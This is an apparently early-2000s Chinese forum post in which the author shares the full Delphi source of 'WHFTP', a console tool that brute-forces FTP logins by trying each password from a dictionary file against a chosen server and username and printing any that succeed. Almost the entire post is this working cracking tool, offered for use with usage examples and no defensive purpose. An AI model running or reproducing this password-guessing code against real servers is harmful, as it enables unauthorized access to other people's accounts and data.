下面这个是我写的一个破ftp密码的工具,没有加多线程,不过是pascal的,在d5+win2k
下运行通过!!希望对你有帮助!!!!
另外,不要总是要元代码,碰到问题,最好多看看资料,比如msdn,非常好的东西哦!!!
还有delphi的帮助文件也不错!!!!
program Project1;
{$APPTYPE CONSOLE}
uses
SysUtils,
winsock,
windows;
var
username,password,server,user,pass,receivestr:array[0..255] of char;
passfile:textfile;
passfilepath:string;
wsa:twsadata;
serversock:tsocket;
addr:tsockaddr;
res:integer;
procedure usage;
begin
writeln('WHFTP edit by whaoye@21cn.com 25/05/2001');
writeln('');
writeln('usage:whftp.exe < SERVERIP > < USERNAME > < PASSFILE > [ OPTION ]');
writeln(' [options] -s:show process.');
writeln(' serverip: the remote ftp server"s ip address');
writeln(' username: the user name you want to get');
writeln(' passfile: the password file you used');
writeln('example:whftp.exe 127.0.0.1 administrator chinese.dic');
writeln('example:whftp.exe 127.0.0.1 administrator chinese.dic -s');
end;
begin
if (paramcount <3) or (paramcount >4) then usage
else
begin
strpcopy(user,'user ');
strpcopy(server,paramstr(1));
strpcopy(username,paramstr(2));
strcat(user,username);
strcat(user,#13#10);
passfilepath:=paramstr(3);
assignfile(passfile,passfilepath);
wsastartup(makeword(2,2),wsa);
serversock:=socket(AF_INET,SOCK_STREAM,0);
addr.sin_family:=AF_INET;
addr.sin_port:=htons(21);
addr.sin_addr.S_addr:=inet_addr(server);
res:=connect(serversock,addr,sizeof(addr));
if (res<>-1) then
begin
recv(serversock,receivestr,sizeof(receivestr),0);
reset(passfile);
writeln('NOW CRACKING,WAIT PLEASE!....................',#13#10);
while (not eof(passfile)) do
begin
readln(passfile,password);
strpcopy(pass,'pass ');
strcat(pass,password);
strcat(pass,#13#10);
send(serversock,user,sizeof(user),0);
recv(serversock,receivestr,sizeof(receivestr),0);
send(serversock,pass,sizeof(pass),0);
if (paramcount=4) and ((paramstr(4)='s') or (paramstr(4)='S')) then
writeln('TRY...',username,'...',password);
recv(serversock,receivestr,sizeof(receivestr),0);
if ((strpos(receivestr,'230')<>nil) or (strpos(receivestr,'logged in')<>nil)) then
begin
writeln('==========^_^ Password found^_^==========',#13#10);
writeln(' ',username,':',password,#13#10);
writeln('=========================================');
close(passfile);
closesocket(serversock);
wsacleanup;
exit;
end;
end;
close(passfile);
writeln('==========^_^ Nothing found ^_^==========');
writeln('= whaoye@21cn.com=');
writeln('=========================================');
end;
wsacleanup;
end;
end.